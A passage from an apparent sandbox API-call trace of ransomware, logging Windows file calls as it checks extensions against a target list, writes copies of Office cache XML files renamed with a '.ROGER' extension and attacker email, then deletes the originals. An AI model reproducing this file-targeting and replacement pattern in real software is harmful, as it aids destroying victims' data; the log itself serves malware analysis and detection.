Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.998] lstrlenW (lpString=".dbf") returned 4 [0037.998] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.998] lstrlenW (lpString=".1cd") returned 4 [0037.999] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.999] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.999] lstrlenW (lpString=".jpg") returned 4 [0037.999] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.999] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.999] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.999] lstrlenW (lpString=".doc") returned 4 [0037.999] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.999] lstrlenW (lpString=".docx") returned 5 [0037.999] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.999] lstrlenW (lpString=".pdf") returned 4 [0037.999] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.999] lstrlenW (lpString=".xls") returned 4 [0037.999] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.999] lstrlenW (lpString=".xlsx") returned 5 [0037.999] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.999] lstrlenW (lpString=".ppt") returned 4 [0037.999] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.999] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.999] lstrlenW (lpString=".zip") returned 4 [0037.999] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.999] lstrlenW (lpString=".rar") returned 4 [0037.999] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.999] lstrlenW (lpString=".bz2") returned 4 [0037.999] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.999] lstrlenW (lpString=".7z") returned 3 [0037.999] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.999] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.999] lstrlenW (lpString=".dbf") returned 4 [0037.999] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.999] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.999] lstrlenW (lpString=".1cd") returned 4 [0037.999] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.999] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.000] lstrlenW (lpString=".jpg") returned 4 [0038.000] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.000] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0038.000] lstrlenW (lpString="Setup.xml") returned 9 [0038.000] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0038.000] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=4207) returned 1 [0038.000] CloseHandle (hObject=0x378) returned 1 [0038.000] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0038.000] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0038.000] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0038.000] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.000] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.000] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0038.001] GetLastError () returned 0x0 [0038.001] ReadFile (in: hFile=0x378, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x106f, lpOverlapped=0x0) returned 1 [0038.002] WriteFile (in: hFile=0x37c, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0038.003] ReadFile (in: hFile=0x378, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.003] WriteFile (in: hFile=0x37c, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.003] SetEndOfFile (hFile=0x37c) returned 1 [0038.003] CloseHandle (hObject=0x37c) returned 1 [0038.004] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.004] SetEndOfFile (hFile=0x378) returned 1 [0038.005] CloseHandle (hObject=0x378) returned 1 [0038.005] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0038.005] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0038.005] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.006] lstrlenW (lpString=".doc") returned 4 [0038.006] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.006] lstrlenW (lpString=".docx") returned 5 [0038.006] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0038.006] lstrlenW (lpString=".pdf") returned 4 [0038.006] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.006] lstrlenW (lpString=".xls") returned 4 [0038.006] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.006] lstrlenW (lpString=".xlsx") returned 5 [0038.006] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0038.006] lstrlenW (lpString=".ppt") returned 4 [0038.006] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.006] lstrlenW (lpString=".zip") returned 4 [0038.006] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.006] lstrlenW (lpString=".rar") returned 4 [0038.006] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.006] lstrlenW (lpString=".bz2") returned 4 [0038.006] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.006] lstrlenW (lpString=".7z") returned 3 [0038.006] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.006] lstrlenW (lpString=".dbf") returned 4 [0038.006] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.006] lstrlenW (lpString=".1cd") returned 4 [0038.006] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.006] lstrlenW (lpString=".jpg") returned 4 [0038.006] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.007] lstrlenW (lpString=".doc") returned 4 [0038.007] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.007] lstrlenW (lpString=".docx") returned 5 [0038.007] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0038.007] lstrlenW (lpString=".pdf") returned 4 [0038.007] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.007] lstrlenW (lpString=".xls") returned 4 [0038.007] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.007] lstrlenW (lpString=".xlsx") returned 5 [0038.007] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0038.007] lstrlenW (lpString=".ppt") returned 4 [0038.007] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.007] lstrlenW (lpString=".zip") returned 4 [0038.007] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.007] lstrlenW (lpString=".rar") returned 4 [0038.007] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.007] lstrlenW (lpString=".bz2") returned 4 [0038.007] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.007] lstrlenW (lpString=".7z") returned 3 [0038.007] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.007] lstrlenW (lpString=".dbf") returned 4 [0038.007] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.007] lstrlenW (lpString=".1cd") returned 4 [0038.007] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.007] lstrlenW (lpString=".jpg") returned 4 [0038.007] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.008] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0038.008] lstrlenW (lpString="Setup.xml") returned 9 [0038.008] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0038.008] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=2424) returned 1 [0038.008] CloseHandle (hObject=0x378) returned 1 [0038.008] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0038.008] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0038.008] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0038.008] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.008] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.008] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0038.011] GetLastError () returned 0x0 [0038.011] ReadFile (in: hFile=0x378, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x978, lpOverlapped=0x0) returned 1 [0038.012] WriteFile (in: hFile=0x380, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x980, lpOverlapped=0x0) returned 1 [0038.013] ReadFile (in: hFile=0x378, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.013] WriteFile (in: hFile=0x380, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.013] SetEndOfFile (hFile=0x380) returned 1 [0038.014] CloseHandle (hObject=0x380) returned 1 [0038.014] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.014] SetEndOfFile (hFile=0x378) returned 1 [0038.015] CloseHandle (hObject=0x378) returned 1 [0038.015] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0038.015] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0038.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.015] lstrlenW (lpString=".doc") returned 4 [0038.016] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.016] lstrlenW (lpString=".docx") returned 5 [0038.016] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0038.016] lstrlenW (lpString=".pdf") returned 4 [0038.016] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.016] lstrlenW (lpString=".xls") returned 4 [0038.016] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.016] lstrlenW (lpString=".xlsx") returned 5 [0038.016] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0038.016] lstrlenW (lpString=".ppt") returned 4 [0038.016] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.016] lstrlenW (lpString=".zip") returned 4 [0038.016] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.016] lstrlenW (lpString=".rar") returned 4 [0038.016] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.016] lstrlenW (lpString=".bz2") returned 4 [0038.016] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.016] lstrlenW (lpString=".7z") returned 3 [0038.016] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.016] lstrlenW (lpString=".dbf") returned 4 [0038.016] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.016] lstrlenW (lpString=".1cd") returned 4 [0038.016] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.016] lstrlenW (lpString=".jpg") returned 4 [0038.016] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.016] lstrlenW (lpString=".doc") returned 4 [0038.016] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.016] lstrlenW (lpString=".docx") returned 5 [0038.017] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0038.017] lstrlenW (lpString=".pdf") returned 4 [0038.017] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.017] lstrlenW (lpString=".xls") returned 4 [0038.017] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.017] lstrlenW (lpString=".xlsx") returned 5 [0038.017] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0038.017] lstrlenW (lpString=".ppt") returned 4 [0038.017] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.017] lstrlenW (lpString=".zip") returned 4 [0038.017] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.017] lstrlenW (lpString=".rar") returned 4 [0038.017] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.017] lstrlenW (lpString=".bz2") returned 4 [0038.017] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.017] lstrlenW (lpString=".7z") returned 3 [0038.017] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.017] lstrlenW (lpString=".dbf") returned 4 [0038.017] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.017] lstrlenW (lpString=".1cd") returned 4 [0038.017] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.017] lstrlenW (lpString=".jpg") returned 4 [0038.017] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.017] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0038.017] lstrlenW (lpString="WordMUI.xml") returned 11 [0038.018] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0038.018] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=1800) returned 1 [0038.018] CloseHandle (hObject=0x378) returned 1 [0038.018] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0038.018] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0038.018] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0038.018] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.018] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.018] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0038.018] GetLastError () returned 0x0 [0038.018] ReadFile (in: hFile=0x378, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x708, lpOverlapped=0x0) returned 1 [0038.364] WriteFile (in: hFile=0x380, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x710, lpOverlapped=0x0) returned 1 [0038.365] ReadFile (in: hFile=0x378, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.365] WriteFile (in: hFile=0x380, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xea, lpOverlapped=0x0) returned 1 [0038.366] SetEndOfFile (hFile=0x380) returned 1 [0038.366] CloseHandle (hObject=0x380) returned 1 [0038.366] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.366] SetEndOfFile (hFile=0x378) returned 1 [0038.367] CloseHandle (hObject=0x378) returned 1 [0038.367] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0038.428] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1 [0038.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0038.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0038.428] lstrlenW (lpString=".doc") returned 4 [0038.428] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.428] lstrlenW (lpString=".docx") returned 5 [0038.428] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.428] lstrlenW (lpString=".pdf") returned 4 [0038.428] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.428] lstrlenW (lpString=".xls") returned 4 [0038.428] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.428] lstrlenW (lpString=".xlsx") returned 5 [0038.428] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.428] lstrlenW (lpString=".ppt") returned 4 [0038.428] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0038.428] lstrlenW (lpString=".zip") returned 4 [0038.428] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.428] lstrlenW (lpString=".rar") returned 4 [0038.428] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.429] lstrlenW (lpString=".bz2") returned 4 [0038.429] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.429] lstrlenW (lpString=".7z") returned 3 [0038.429] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.429] lstrlenW (lpString="C:\\MSOCache\\All 